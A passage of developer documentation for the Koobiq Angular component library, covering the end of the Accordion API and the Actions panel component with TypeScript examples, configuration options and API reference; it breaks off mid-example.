- `[value]`: `string` — The item's effective value — its own `value`, or its position inside the accordion when none is
  provided.

  The position, rather than the id: the value is what the accordion persists, and the id carries a
  global instantiation counter that shifts as soon as anything else on the page is created ahead of
  this accordion. The prefix keeps a generated value from colliding with an author-written one.
- `[disabled]`: `boolean | undefined` — Whether the AccordionItem is disabled.
- `(closed)`: `void` — Event emitted every time the AccordionItem is closed.
- `(opened)`: `void` — Event emitted every time the AccordionItem is opened.
- `accordion`: `KbqAccordion` — The accordion this item belongs to — always the nearest one, because it is injected.
  The accordion reads it back to tell its own items apart from a nested accordion's.
- `id`: `string` — The unique AccordionItem id.
- `focus()`: `void` — Moves focus to the item's trigger.
- `toggle()`: `void` — Toggles the expanded state of the accordion item.
- `close()`: `void` — Sets the expanded state of the accordion item to false.
- `open()`: `void` — Sets the expanded state of the accordion item to true.

##### KbqAccordionTriggerDirective (directive)

```ts
@Directive({ selector: '[kbqAccordionTrigger]' })
class KbqAccordionTriggerDirective {
    onClick(): void;
    onKeydown(event: KeyboardEvent): void;
}
```

- `onClick()`: `void` — Fires when trigger clicked
- `onKeydown()`: `void` — Routes keyboard interaction to the accordion, but only while the trigger itself is focused.

  A `keydown` targets the focused element, so header actions placed next to the trigger and
  controls inside the expanded content keep their own keys — the accordion no longer toggles the
  section on Enter/Space nor moves focus to another header on the arrow keys. The `target` check
  additionally covers focusable content mistakenly nested inside the trigger.

#### Types

##### KbqAccordionItemState (type)

```ts
type KbqAccordionItemState = 'open' | 'closed';
```

##### KbqAccordionOrientation (type)

The layout orientation of the accordion.

```ts
type KbqAccordionOrientation = 'horizontal' | 'vertical';
```

##### KbqAccordionState (type)

The persisted state of an accordion — the values of the items that were expanded.
Mirrors `KbqAccordion.value` normalized to an array.

```ts
type KbqAccordionState = string[];
```

##### KbqAccordionType (type)

Determines whether one or multiple items can be expanded at the same time.

```ts
type KbqAccordionType = 'single' | 'multiple';
```

##### KbqAccordionVariant (type)

Available visual variants of the accordion.

```ts
type KbqAccordionVariant = 'fill' | 'hug' | 'hugSpaceBetween';
```

## Actions panel

- Entry point: `@koobiq/components/actions-panel`
- NgModule: `KbqActionsPanelModule`
- Page: https://koobiq.io/en/components/actions-panel/overview

### Overview

`KbqActionsPanel` - popup panel with bulk actions on selected objects.

**Example: Actions panel overview** (`actions-panel-overview`)

```ts actions-panel-overview-example.ts
import {
    afterNextRender,
    ChangeDetectionStrategy,
    Component,
    ElementRef,
    inject,
    TemplateRef,
    viewChild
} from '@angular/core';
import { KbqActionsPanel, KbqActionsPanelRef } from '@koobiq/components/actions-panel';
import { KbqButtonModule } from '@koobiq/components/button';

@Component({
    selector: 'actions-panel-overview-example',
    imports: [KbqButtonModule],
    template: `
        <button kbq-button (click)="open()">open</button>

        <ng-template>
            <button color="contrast" kbq-button (click)="action('Action1')">Action 1</button>
            <button color="contrast" kbq-button class="layout-margin-left-xxs" (click)="action('Action2')">
                Action 2
            </button>
            <button color="contrast" kbq-button class="layout-margin-left-xxs" (click)="action('Action3')">
                Action 3
            </button>
        </ng-template>
    `,
    styles: `
        :host {
            display: flex;
            align-items: center;
            justify-content: center;
            height: 64px;
            overflow: hidden;
        }
    `,
    providers: [KbqActionsPanel],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ActionsPanelOverviewExample {
    private readonly actionsPanel = inject(KbqActionsPanel, { self: true });
    private readonly elementRef = inject<ElementRef<HTMLElement>>(ElementRef);
    private readonly templateRef = viewChild.required(TemplateRef);
    private actionsPanelRef?: KbqActionsPanelRef | null;

    constructor() {
        afterNextRender(() => this.open());
    }

    protected action(action: string): void {
        this.actionsPanelRef?.close(action);
    }

    protected open(): void {
        if (this.actionsPanelRef) return;

        this.actionsPanelRef = this.actionsPanel.open(this.templateRef(), {
            overlayContainer: this.elementRef
        });

        this.actionsPanelRef.beforeOpened.subscribe(() => {
            console.log('before actions-panel opened');
        });

        this.actionsPanelRef.afterOpened.subscribe(() => {
            console.log('after actions-panel opened');
        });

        this.actionsPanelRef.beforeClosed.subscribe((result) => {
            console.log('before actions-panel closed', result);
        });

        this.actionsPanelRef.afterClosed.subscribe((result) => {
            console.log('after actions-panel closed', result);
            this.actionsPanelRef = null;
        });
    }
}
```

#### Properties

##### Adaptability

The bulk actions panel becomes compact to fit within the available screen area. Adaptability is implemented using the [`KbqOverflowItems`](https://koobiq.io/en/components/overflow-items.md) component, which automatically hides elements with dynamic adaptation to the container width.

**Example: Actions panel adaptive** (`actions-panel-adaptive`)

```ts actions-panel-adaptive-example.ts
import {
    afterNextRender,
    ChangeDetectionStrategy,
    Component,
    ElementRef,
    inject,
    TemplateRef,
    viewChild
} from '@angular/core';
import { KbqActionsPanel, KbqActionsPanelRef } from '@koobiq/components/actions-panel';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqDividerModule } from '@koobiq/components/divider';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqOverflowItemsModule } from '@koobiq/components/overflow-items';
import { KbqToastService } from '@koobiq/components/toast';

type ExampleAction = {
    id: string;
    icon: string;
};

@Component({
    selector: 'example-actions-panel',
    imports: [
        KbqOverflowItemsModule,
        KbqButtonModule,
        KbqIconModule,
        KbqDropdownModule,
        KbqDividerModule
    ],
    template: `
        <button kbq-button (click)="open()">open</button>

        <ng-template let-data>
            <div #kbqOverflowItems="kbqOverflowItems" kbqOverflowItems>
                <div order="99" [kbqOverflowItem]="action.Counter">
                    <div class="example-counter">Selected: {{ data.length }}</div>
                    <kbq-divider class="example-divider-vertical" [vertical]="true" />
                </div>

                @for (action of actions; track action.id) {
                    <button
                        color="contrast"
                        kbq-button
                        [kbqOverflowItem]="action.id"
                        [class.layout-margin-left-xxs]="!$first"
                        (click)="onAction(action)"
                    >
                        <i kbq-icon [class]="action.icon"></i>
                        {{ action.id }}
                    </button>
                }

                @let hiddenItemIDs = kbqOverflowItems.hiddenItemIDs();
                <!-- ignores when only action.Counter is hidden -->
                @if (hiddenItemIDs.size > 1) {
                    <button
                        kbqOverflowItemsResult
                        color="contrast"
                        kbq-button
                        aria-label="More"
                        [kbqDropdownTriggerFor]="dropdown"
                    >
                        <i kbq-icon="kbq-ellipsis-vertical_16"></i>
                    </button>
                }

                <kbq-dropdown #dropdown="kbqDropdown">
                    <div class="example-counter-dropdown">Selected: {{ data.length }}</div>
                    <kbq-divider />

                    @for (action of actions; track action.id) {
                        @if (hiddenItemIDs.has(action.id)) {
                            <button kbq-dropdown-item (click)="onAction(action)">
                                <i [kbq-icon]="action.icon"></i>
                                {{ action.id }}
                            </button>
                        }
                    }
                </kbq-dropdown>
            </div>
        </ng-template>
    `,
    styles: `
        :host {
            display: flex;
            align-items: center;
            justify-content: center;
            height: 64px;
        }

        .kbq-overflow-item {
            display: flex;
            align-items: center;
        }

        .example-counter {
            margin: 0 var(--kbq-size-m);
            width: 75px;
        }

        .example-counter,
        .example-counter-dropdown {
            user-select: none;
            white-space: nowrap;
        }

        .example-counter-dropdown {
            font-weight: var(--kbq-typography-text-normal-strong-font-weight);
            margin: var(--kbq-size-s) var(--kbq-size-m);
        }

        .example-divider-vertical {
            background-color: var(--kbq-actions-panel-vertical-divider-background-color);
            height: var(--kbq-actions-panel-vertical-divider-height) !important;
            margin: var(--kbq-actions-panel-vertical-divider-margin);
        }
    `,
    providers: [KbqActionsPanel],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ExampleActionsPanel {
    private readonly actionsPanel = inject(KbqActionsPanel, { self: true });
    private readonly elementRef = inject<ElementRef<HTMLElement>>(ElementRef);
    private readonly templateRef = viewChild.required(TemplateRef);
    private actionsPanelRef: KbqActionsPanelRef | null;
    private readonly toast = inject(KbqToastService);

    protected readonly actions: ExampleAction[] = [
        { id: 'Responsible', icon: 'kbq-user_16' },
        { id: 'Status', icon: 'kbq-arrow-right-s_16' },
        { id: 'Archive', icon: 'kbq-box-archive-arrow-down_16' }
    ];
    protected readonly action = { Counter: 'counter' };

    constructor() {
        afterNextRender(() => this.open());
    }

    protected open(): void {
        if (this.actionsPanelRef) return;

        this.actionsPanelRef = this.actionsPanel.open(this.templateRef(), {
            data: { length: 5 },
            overlayContainer: this.elementRef
        });

        this.actionsPanelRef.afterOpened.subscribe(() => {
            console.log('ActionsPanel opened');
        });

        this.actionsPanelRef.afterClosed.subscribe((result) => {
            console.log('ActionsPanel closed by action:', result);
            this.actionsPanelRef = null;
        });
    }

    protected onAction(action: ExampleAction): void {
        this.toast.show({ title: `Action initiated ${action.id}` });
    }
}

@Component({
    selector: 'actions-panel-adaptive-example',
    imports: [ExampleActionsPanel],
    template: `
        <div>First, the number of records is hidden</div>
        <example-actions-panel [style.width.px]="377" />

        <div>Then, the actions are hidden under the dropdown menu</div>
        <example-actions-panel [style.width.px]="308" />

        <div>Everything is hidden under the dropdown menu</div>
        <example-actions-panel [style.width.px]="89" />
    `,
    styles: `
        div {
            color: var(--kbq-foreground-contrast-secondary);
            margin: var(--kbq-size-s) var(--kbq-size-s) 0;
        }

        example-actions-panel {
            min-width: 89px;
            max-width: 100%;
            overflow: hidden;
            resize: horizontal;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ActionsPanelAdaptiveExample {}
```

##### Additional counter

The component has an option to show an additional counter. The principle of operation of the additional counter can be customized to meet the needs of your product. For example, if the list items are grouped, the counter text can show the total number of items, not just groups.

**Example: Actions panel custom counter** (`actions-panel-custom-counter`)

```ts actions-panel-custom-counter-example.ts
import {
    afterNextRender,
    ChangeDetectionStrategy,
    Component,
    ElementRef,
    inject,
    TemplateRef,
    viewChild
} from '@angular/core';
import { KbqActionsPanel, KbqActionsPanelRef } from '@koobiq/components/actions-panel';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqDividerModule } from '@koobiq/components/divider';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqOverflowItemsModule } from '@koobiq/components/overflow-items';
import { KbqToastService } from '@koobiq/components/toast';
import { KbqToolTipModule } from '@koobiq/components/tooltip';

type ExampleAction = {
    id: string;
    icon: string;
    divider?: boolean;
};

@Component({
    selector: 'actions-panel-custom-counter-example',
    imports: [
        KbqOverflowItemsModule,
        KbqButtonModule,
        KbqIconModule,
        KbqDropdownModule,
        KbqDividerModule,
        KbqToolTipModule
    ],
    template: `
        <button kbq-button (click)="open()">open</button>

        <ng-template let-data>
            <div #kbqOverflowItems="kbqOverflowItems" kbqOverflowItems>
                <div order="99" [kbqOverflowItem]="action.Counter">
                    <div class="example-counter">
                        <div class="kbq-text-normal-medium">Selected: {{ data.selected }}</div>
                        <span
                            aria-label="Total number of items in selected groups: +{{ data.counter }}"
                            class="example-counter-extra kbq-text-normal"
                            kbqTooltip="Total number of items in selected groups"
                            tabindex="0"
                            [kbqTooltipOffset]="22"
                        >
                            +{{ data.counter }}
                        </span>
                    </div>
                    <kbq-divider class="example-divider-vertical" [vertical]="true" />
                </div>

                @for (action of actions; track action.id) {
                    <div [kbqOverflowItem]="action.id">
                        @if (action.divider) {
                            <kbq-divider class="example-divider-vertical" [vertical]="true" />
                        }
                        <button
                            color="contrast"
                            kbq-button
                            [class.layout-margin-left-xxs]="!$first"
                            (click)="onAction(action)"
                        >
                            <i [kbq-icon]="action.icon"></i>
                            {{ action.id }}
                        </button>
                    </div>
                }
            </div>

            @let hiddenItemIDs = kbqOverflowItems.hiddenItemIDs();
            <!-- ignores when only action.Counter is hidden -->
            @if (hiddenItemIDs.size > 1) {
                <button
                    kbqOverflowItemsResult
                    color="contrast"
                    kbq-button
                    aria-label="More"
                    [kbqDropdownTriggerFor]="dropdown"
                >
                    <i kbq-icon="kbq-ellipsis-vertical_16"></i>
                </button>
            }

            <kbq-dropdown #dropdown="kbqDropdown">
                <div class="example-counter-dropdown">
                    <div>Selected: {{ data.selected }}</div>
                    <span
                        aria-label="Total number of items in selected groups: +{{ data.counter }}"
                        class="example-counter-extra kbq-text-normal"
                        kbqTooltip="Total number of items in selected groups"
                        tabindex="0"
                        [kbqTooltipOffset]="22"
                    >
                        +{{ data.counter }}
                    </span>
                </div>
                <kbq-divider />

                @for (action of actions; track action.id) {
                    @if (hiddenItemIDs.has(action.id)) {
                        @if (action.divider && hiddenItemIDs.has(actions[$index - 1].id)) {
                            <kbq-divider />
                        }
                        <button kbq-dropdown-item (click)="onAction(action)">
                            <i [kbq-icon]="action.icon"></i>
                            {{ action.id }}
                        </button>
                    }
                }
            </kbq-dropdown>
        </ng-template>
    `,
    styles: `
        :host {
            display: flex;
            align-items: center;
            justify-content: center;
            height: 64px;
            overflow: hidden;
        }

        .example-counter {
            margin: 0 var(--kbq-size-m);
        }

        .example-counter-extra {
            margin-left: var(--kbq-size-xxs);
            outline: none;
        }

        .example-counter-extra:focus-visible {
            outline: 2px solid var(--kbq-states-line-focus-theme);
        }

        .example-counter > .example-counter-extra {
            color: var(--kbq-foreground-on-contrast-secondary);
        }

        .example-counter,
        .example-counter-dropdown {
            display: flex;
            align-items: center;
            user-select: none;
            white-space: nowrap;
        }

        .example-counter-dropdown {
            font-weight: var(--kbq-typography-text-normal-strong-font-weight);
            margin: var(--kbq-size-s) var(--kbq-size-m);
        }

        .kbq-overflow-item {
            display: flex;
            align-items: center;
        }

        .example-divider-vertical {
            background-color: var(--kbq-actions-panel-vertical-divider-background-color);
            height: var(--kbq-actions-panel-vertical-divider-height) !important;
            margin: var(--kbq-actions-panel-vertical-divider-margin);
        }
    `,
    providers: [KbqActionsPanel],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ActionsPanelCustomCounterExample {
    protected readonly actions: ExampleAction[] = [
        { id: 'Responsible', icon: 'kbq-user_16' },
        { id: 'Link to incident', icon: 'kbq-link_16' },
        { id: 'Remove', icon: 'kbq-trash_16', divider: true }
    ];
    protected readonly action = { Counter: 'counter' };

    private readonly actionsPanel = inject(KbqActionsPanel, { self: true });
    private readonly elementRef = inject<ElementRef<HTMLElement>>(ElementRef);
    private readonly templateRef = viewChild.required(TemplateRef);
    private readonly toast = inject(KbqToastService);
    private actionsPanelRef: KbqActionsPanelRef | null;

    constructor() {
        afterNextRender(() => this.open());
    }

    protected open(): void {
        if (this.actionsPanelRef) return;

        this.actionsPanelRef = this.actionsPanel.open(this.templateRef(), {
            data: { selected: 3, counter: 6 },
            overlayContainer: this.elementRef
        });

        this.actionsPanelRef.afterOpened.subscribe(() => {
            console.log('ActionsPanel opened');
        });

        this.actionsPanelRef.afterClosed.subscribe((result) => {
            console.log('ActionsPanel closed by action:', result);
            this.actionsPanelRef = null;
        });
    }

    protected onAction(action: ExampleAction): void {
        this.toast.show({ title: `Action initiated ${action.id}` });
    }
}
```

#### Close the panel when an action is started

The panel usually remains open after the action is started. Sometimes there are commands that leave no selected items in the table, such as “Remove”. In such cases it is possible to close the panel.

**Example: Actions panel close** (`actions-panel-close`)

```ts actions-panel-close-example.ts
import {
    afterNextRender,
    ChangeDetectionStrategy,
    Component,
    ElementRef,
    inject,
    TemplateRef,
    viewChild
} from '@angular/core';
import { KbqActionsPanel, KbqActionsPanelRef } from '@koobiq/components/actions-panel';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqToastService } from '@koobiq/components/toast';

@Component({
    selector: 'actions-panel-close-example',
    imports: [KbqButtonModule, KbqIconModule],
    template: `
        <button kbq-button (click)="open()">open</button>

        <ng-template let-data>
            <button color="contrast" kbq-button (click)="onAction('Execute and close')">
                <i kbq-icon="kbq-user_16"></i>
                Execute and close
            </button>
        </ng-template>
    `,
    styles: `
        :host {
            display: flex;
            align-items: center;
            justify-content: center;
            height: 64px;
            overflow: hidden;
        }
    `,
    providers: [KbqActionsPanel],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ActionsPanelCloseExample {
    private readonly actionsPanel = inject(KbqActionsPanel, { self: true });
    private readonly elementRef = inject<ElementRef<HTMLElement>>(ElementRef);
    private readonly templateRef = viewChild.required(TemplateRef);
    private readonly toast = inject(KbqToastService);
    private actionsPanelRef: KbqActionsPanelRef | null;

    constructor() {
        afterNextRender(() => this.open());
    }

    protected open(): void {
        if (this.actionsPanelRef) return;

        this.actionsPanelRef = this.actionsPanel.open(this.templateRef(), {
            data: { length: 3 },
            overlayContainer: this.elementRef
        });

        this.actionsPanelRef.afterOpened.subscribe(() => {
            console.log('ActionsPanel opened');
        });

        this.actionsPanelRef.afterClosed.subscribe((result) => {
            console.log('ActionsPanel closed by action:', result);
            this.actionsPanelRef = null;
        });
    }

    protected onAction(action: string): void {
        this.toast.show({ title: `Action initiated ${action}` });
        this.actionsPanelRef?.close();
    }
}
```

#### Keyboard interaction

By default, the `ESCAPE` key closes `KbqActionsPanel`. While you can disable this behavior via the `disableClose` property of `KbqActionsPanelConfig`. A key that a control inside the panel has already handled, for example by closing its tooltip, leaves the panel open.

#### Sharing data with the component

You can use the `data` option to pass information to the component:

```ts
import { Component, inject } from '@angular/core';
import { KbqActionsPanel } from '@koobiq/components/actions-panel';

@Component({
    selector: 'your-component',
    templateUrl: './your-component.html',
    providers: [KbqActionsPanel]
})
export class YourComponent {
    private readonly actionsPanel = inject(KbqActionsPanel, { self: true });

    openActionsPanel() {
        this.actionsPanel.open(YourActionsPanelComponent, {
            data: { name: 'koobiq' }
        });
    }
}
```

Access to data in the component is performed using `KBQ_ACTIONS_PANEL_DATA` injection token:

```ts
import { Component, inject } from '@angular/core';
import { KBQ_ACTIONS_PANEL_DATA, KbqActionsPanelRef } from '@koobiq/components/actions-panel';

@Component({
    selector: 'your-actions-panel',
    template: `
        <div>{{ data.name }}</div>
        <button (click)="actionsPanelRef.close()">close</button>
    `
})
export class YourActionsPanelComponent {
    readonly data = inject(KBQ_ACTIONS_PANEL_DATA);
    readonly actionsPanelRef = inject(KbqActionsPanelRef);
}
```

If you are using a `TemplateRef` for your actions panel content, the `data` and `actionsPanelRef` is available in the template:

```html
<ng-template let-data let-actionsPanelRef="actionsPanelRef">
    <div>{{ data.name }}</div>
    <button (click)="actionsPanelRef.close()">close</button>
</ng-template>
```

#### Managing OverlayContainer

`OverlayContainer` determines where in the DOM tree the actions panel will be displayed. By default it is the document
body (`document.body`).

##### Default container

Without `overlayContainer` the panel is rendered in the application-wide overlay container and pinned to the bottom of
the viewport, above the page, the way a dialog is. Use it when the actions apply to the whole screen rather than to a
single block on it.

**Example: Actions panel opened globally** (`actions-panel-global`)

```ts actions-panel-global-example.ts
import { ChangeDetectionStrategy, Component, inject, TemplateRef, viewChild } from '@angular/core';
import { KbqActionsPanel, KbqActionsPanelRef } from '@koobiq/components/actions-panel';
import { KbqButtonModule } from '@koobiq/components/button';

@Component({
    selector: 'actions-panel-global-example',
    imports: [KbqButtonModule],
    template: `
        <button kbq-button (click)="open()">open</button>

        <ng-template>
            <button color="contrast" kbq-button (click)="action('Action1')">Action 1</button>
            <button color="contrast" kbq-button class="layout-margin-left-xxs" (click)="action('Action2')">
                Action 2
            </button>
            <button color="contrast" kbq-button class="layout-margin-left-xxs" (click)="action('Action3')">
                Action 3
            </button>
        </ng-template>
    `,
    styles: `
        :host {
            display: flex;
            align-items: center;
            justify-content: center;
            height: 64px;
        }
    `,
    providers: [KbqActionsPanel],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ActionsPanelGlobalExample {
    private readonly actionsPanel = inject(KbqActionsPanel, { self: true });
    private readonly templateRef = viewChild.required(TemplateRef);
    private actionsPanelRef?: KbqActionsPanelRef | null;

    protected action(action: string): void {
        this.actionsPanelRef?.close(action);
    }

    protected open(): void {
        if (this.actionsPanelRef) return;

        // No `overlayContainer`: the panel goes into the application-wide overlay container and is pinned to the
        // bottom of the viewport, above the page, the way a dialog is.
        this.actionsPanelRef = this.actionsPanel.open(this.templateRef());

        this.actionsPanelRef.afterClosed.subscribe(() => (this.actionsPanelRef = null));
    }
}
```

##### Configuring container for a specific panel

If you need to display the actions panel in a specific element (for example, inside a [Sidebar](https://koobiq.io/en/components/sidebar.md)), use the `overlayContainer` option:

```ts
import { Component, ElementRef, inject } from '@angular/core';
import { KbqActionsPanel } from '@koobiq/components/actions-panel';

@Component({
    selector: 'your-component',
    templateUrl: './your-component.html',
    providers: [KbqActionsPanel]
})
export class YourComponent {
    private readonly actionsPanel = inject(KbqActionsPanel, { self: true });
    private readonly customContainer = inject<ElementRef<HTMLElement>>(ElementRef);

    openActionsPanel() {
        this.actionsPanel.open(YourActionsPanelComponent, {
            overlayContainer: this.customContainer
        });
    }
}
```

The panel is rendered inside that element, pinned to its bottom center, and resizes with it. Its width is capped by the
element's width unless `maxWidth` says otherwise. An element that sets `overflow: hidden` clips the panel; at the
default `overflow: visible` the entrance animation renders it below the element.

The element is mutated for as long as the panel is open: it gains one child node holding the overlay, and an element
with `position: static` is promoted to `position: relative`, since the overlay is positioned against it.

##### Global container configuration

`OverlayContainer` can be replaced application-wide, which moves every overlay elsewhere in the DOM:

```ts
import { FullscreenOverlayContainer, OverlayContainer } from '@angular/cdk/overlay';
import { bootstrapApplication } from '@angular/platform-browser';

bootstrapApplication(AppComponent, {
    providers: [{ provide: OverlayContainer, useClass: FullscreenOverlayContainer }]
});
```

The `overlayContainer` option takes precedence: a panel opened with it does not use the global container.

### API

#### Services

##### KbqActionsPanel (service)

Service for opening actions panel.

```ts
@Injectable({ providedIn: 'root' })
class KbqActionsPanel {
    open<T, D = unknown, R = unknown>(
        component: ComponentType<T>,
        config?: KbqActionsPanelConfig<D>
    ): KbqActionsPanelRef<T, R>;
    open<T, D = unknown, R = unknown>(
        template: TemplateRef<T>,
        config?: KbqActionsPanelConfig<D>
    ): KbqActionsPanelRef<T, R>;
    close<R>(result?: R): void;
}
```

- `open()`: `KbqActionsPanelRef<T, R>` — Opens actions panel.
  - `config`: `KbqActionsPanelConfig<D>` — Additional configuration options for the actions panel.
  - returns `KbqActionsPanelRef<T, R>` — A reference to the opened actions panel.
- `close()`: `void` — Closes the currently opened actions panel.

#### Classes

##### KbqActionsPanelConfig (class)

Configuration for opened actions panel.
Based on cdk `DialogConfig`.

```ts
class KbqActionsPanelConfig<D = unknown> {
    injector?: Injector;
    data?: D | null;
    containerClass?: string | string[];
    closeOnNavigation?: boolean;
    overlayContainer?: ElementRef<HTMLElement>;
    overlayPanelClass?: string | string[];
    width?: string;
    minWidth?: number | string;
    maxWidth?: number | string;
    direction?: Direction;
    scrollStrategy?: (overlay: Overlay) => ScrollStrategy;
    disableClose?: boolean;
}
```

- `injector?`: `Injector` — Injector used for the instantiation of the component to be attached.
- `data?`: `D | null` — Data being injected into the child component with `KBQ_ACTIONS_PANEL_DATA`.
- `containerClass?`: `string | string[]` — Extra CSS classes to be added to the actions panel container.
- `closeOnNavigation?`: `boolean` — Whether the actions panel should be closed of when the user goes backwards/forwards in history.
  Defaults to `true`.
  NOTE! This does not apply to router navigation.
- `overlayContainer?`: `ElementRef<HTMLElement>` — Element the actions panel overlay is rendered into, instead of the application-wide overlay container. The panel
  is pinned to the bottom center of that element and resizes with it. An element that sets `overflow: hidden`
  clips it; at the default `overflow: visible` the entrance animation renders it below the element.

  The element is mutated for as long as the panel is open: it gains one child node holding the overlay, and a
  `static` element is promoted to `position: relative`, since the overlay is positioned against it.

  NOTE: the panel bypasses a globally provided `OverlayContainer` while this is set.
- `overlayPanelClass?`: `string | string[]` — Extra CSS classes to be added to the overlay panel.
- `width?`: `string` — Width of the actions panel.
- `minWidth?`: `number | string` — Min-width of the actions panel.
  If a number is provided, assumes pixel units.
- `maxWidth?`: `number | string` — Max-width of the actions panel.
  If a number is provided, assumes pixel units.

  When omitted, the panel is capped by the width of the overlay container it is rendered into.
- `direction?`: `Direction` — Direction of the text in the actions panel. Defaults to `'ltr'`.
- `scrollStrategy?`: `(overlay: Overlay) => ScrollStrategy` — Scroll strategy to be used for the actions panel. Defaults to `RepositionScrollStrategy`.
- `disableClose?`: `boolean` — Whether the user can use ESC or click on close button to close the actions panel. Defaults to `false`.

##### KbqActionsPanelRef (class)

Reference to actions panel opened by `KbqActionsPanel` service.

```ts
class KbqActionsPanelRef<I = unknown, R = unknown> {
    readonly keydownEvents: Observable<KeyboardEvent>;
    readonly beforeOpened: Observable<void>;
    readonly afterOpened: Observable<void>;
    readonly beforeClosed: Observable<R | undefined>;
    readonly afterClosed: Observable<R | undefined>;
    constructor(
        dialogRef: DialogRef<R, I>,
        containerInstance: KbqActionsPanelContainer
    );
    close(result?: R): void;
}
```

- `keydownEvents`: `Observable<KeyboardEvent>` — Emits when keydown events are targeted on the overlay.
- `beforeOpened`: `Observable<void>` — Emits when the actions panel starts opening, before its entrance animation plays.
- `afterOpened`: `Observable<void>` — Emits when the actions panel has opened and appeared, or once closing cuts its entrance short.
- `beforeClosed`: `Observable<R | undefined>` — Emits when the actions panel starts closing, before its exit animation plays.
- `afterClosed`: `Observable<R | undefined>` — Emits when the actions panel is finished closing.
- `close()`: `void` — Closes the actions panel.

#### Types

##### KbqActionsPanelTemplateContext (type)

Context for actions panel template.

```ts
type KbqActionsPanelTemplateContext<T = unknown, D = unknown, R = unknown> = {
    $implicit?: D | null;
    data?: D | null;
    actionsPanelRef: KbqActionsPanelRef<T, R>;
};
```

- `$implicit?`: `D | null` — Data passed to actions panel.

  Example:

  ```html
  <ng-template #actionsPanel let-data>{{ data.KEY }}</ng-template>
  ````
- `data?`: `D | null` — Data passed to actions panel.

  Example:

  ```html
  <ng-template #actionsPanel let-data="data">{{ data.KEY }}</ng-template>
  ````
- `actionsPanelRef`: `KbqActionsPanelRef<T, R>` — Opened actions panel reference.

  Example:

  ```html
  <ng-template #actionsPanel let-actionsPanelRef="actionsPanelRef">
    <button (click)="actionsPanelRef.close()">close</button>
  </ng-template>
  ````

#### Constants

##### KBQ_ACTIONS_PANEL_DATA (const)

Injection token that can be used to access the data that was passed in to actions panel.

```ts
const KBQ_ACTIONS_PANEL_DATA: InjectionToken<unknown>;
```

##### KBQ_ACTIONS_PANEL_DEFAULT_CONFIG (const)

Injection token that can be used to specify default actions panel config.

```ts
const KBQ_ACTIONS_PANEL_DEFAULT_CONFIG: InjectionToken<KbqActionsPanelConfig>;
```

##### KBQ_ACTIONS_PANEL_LOCALE_CONFIGURATION (const)

Localization configuration provider.

```ts
const KBQ_ACTIONS_PANEL_LOCALE_CONFIGURATION: InjectionToken<KbqActionsPanelLocaleConfiguration>;
```

##### kbqActionsPanelDefaultConfigProvider (const)

Utility for providing default actions panel config through `KBQ_ACTIONS_PANEL_DEFAULT_CONFIG`.

```ts
const kbqActionsPanelDefaultConfigProvider: <D>(
    config: KbqActionsPanelConfig<D>
) => Provider;
```

##### kbqActionsPanelLocaleConfigurationProvider (const)

Utility provider for `KBQ_ACTIONS_PANEL_LOCALE_CONFIGURATION`. Only the strings you pass are
overridden; the rest keep following the active locale.

```ts
const kbqActionsPanelLocaleConfigurationProvider: (
    configuration: KbqDeepPartial<KbqActionsPanelLocaleConfiguration>
) => Provider;
```

### Examples

#### Actions panel with dropdown and popover

**Example: Actions panel with dropdown and popover** (`actions-panel-with-dropdown-and-popover`)

```ts actions-panel-with-dropdown-and-popover-example.ts
import {
    afterNextRender,
    ChangeDetectionStrategy,
    Component,
    ElementRef,
    inject,
    TemplateRef,
    viewChild
} from '@angular/core';
import { KbqActionsPanel, KbqActionsPanelRef } from '@koobiq/components/actions-panel';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqPopoverModule, KbqPopoverTrigger } from '@koobiq/components/popover';

@Component({
    selector: 'actions-panel-with-dropdown-and-popover-example',
    imports: [KbqButtonModule, KbqIconModule, KbqDropdownModule, KbqPopoverModule],
    template: `
        <button kbq-button (click)="open()">open</button>

        <ng-template let-data>
            <button
                #popover="kbqPopover"
                color="contrast"
                kbq-button
                kbqPopover
                kbqTrigger="none"
                [kbqDropdownTriggerFor]="dropdown"
                [kbqPopoverFooter]="popoverFooter"
            >
                <i kbq-icon="kbq-shield_16"></i>
                Protection
                <i kbq-icon="kbq-chevron-down-s_16"></i>
            </button>

            <kbq-dropdown #dropdown="kbqDropdown">
                <button kbq-dropdown-item (click)="enable(popover)">
                    <i kbq-icon="kbq-shield_16"></i>
                    Enable
                </button>
                <button kbq-dropdown-item (click)="disable(popover)">
                    <i kbq-icon="kbq-shield-slash_16"></i>
                    Disable
                </button>
            </kbq-dropdown>
        </ng-template>

        <ng-template #popoverFooter>
            <div class="example-popover-footer">
                <button kbq-button color="contrast" (click)="save()">Save</button>
                <button kbq-button (click)="cancel()">Cancel</button>
            </div>
        </ng-template>
    `,
    styles: `
        :host {
            display: flex;
            align-items: center;
            justify-content: center;
            height: 64px;
            overflow: hidden;
        }

        .example-popover-footer {
            display: flex;
            gap: var(--kbq-size-s);
        }
    `,
    providers: [KbqActionsPanel],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ActionsPanelWithDropdownAndPopoverExample {
    private readonly actionsPanel = inject(KbqActionsPanel, { self: true });
    private readonly elementRef = inject<ElementRef<HTMLElement>>(ElementRef);
    private readonly templateRef = viewChild.required(TemplateRef);
    private actionsPanelRef: KbqActionsPanelRef | null;
    private popoverTriggerRef: KbqPopoverTrigger | null;

    constructor() {
        afterNextRender(() => this.open());
    }

    protected open(): void {
        if (this.actionsPanelRef) return;

        this.actionsPanelRef = this.actionsPanel.open(this.templateRef(), {
            overlayContainer: this.elementRef
        });

        this.actionsPanelRef.afterClosed.subscribe(() => (this.actionsPanelRef = null));
    }

    protected disable(popoverTriggerRef: KbqPopoverTrigger): void {
        this.popoverTriggerRef = popoverTriggerRef;
        this.popoverTriggerRef.header = 'Disable protection?';
